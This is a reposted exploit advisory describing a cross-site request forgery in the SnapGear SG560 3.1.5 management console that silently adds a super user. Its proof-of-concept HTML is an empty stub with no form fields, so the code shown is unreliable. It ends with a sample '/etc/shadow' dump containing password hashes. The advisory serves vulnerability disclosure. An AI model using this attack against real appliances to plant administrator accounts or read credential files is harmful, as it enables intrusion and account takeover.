发布 2020-06-04 漏洞条目

SnapGear Management Console SG560 3.1.5 – Cross-Site Request Forgery (Add Super User)

Exploit Source

# Title: SnapGear Management Console SG560 3.1.5 - Cross-Site Request Forgery (Add Super User)

# Author: LiquidWorm

# Date: 2020-06-04

# Vendor: http://www.securecomputing.com

# CVE: N/A

Secure Computing SnapGear Management Console SG560 v3.1.5 CSRF Add Super User

Vendor: Secure Computing Corp.

Product web page: http://www.securecomputing.com

Affected version: 3.1.5u1

Summary: The SG gateway appliance range provides Internet security and

privacy of communications for small and medium enterprises, and branch

offices. It simply and securely connects your office to the Internet,

and with its robust stateful firewall, shields your computers from

external threats.

Desc: The application interface allows users to perform certain actions

via HTTP requests without performing any validity checks to verify the

requests. This can be exploited to perform certain actions with administrative

privileges if a logged-in user visits a malicious web site.

Tested on: fnord/1.9

Apache 1.3.27 (Unix)

Linux 2.4.31

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

@zeroscience

Advisory ID: ZSL-2020-5567

Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5567.php

14.05.2020

CSRF Add Super User:

--------------------

<html>

<body>

</form>

</body>

</html>

Result /etc/shadow:

root:$1$YC$T/M8HLRXxKKPVEO7SU.02/:0:0:Super User:/:/bin/sh

sshd:!!:100:65534::/home:/bin/false

clamav:!!:103:65534::/home:/bin/false

testingus:$1$Xy$bxdLgsRlXHoMjEcMKqVq/.:104:104:ZSL:/home:/bin/sh

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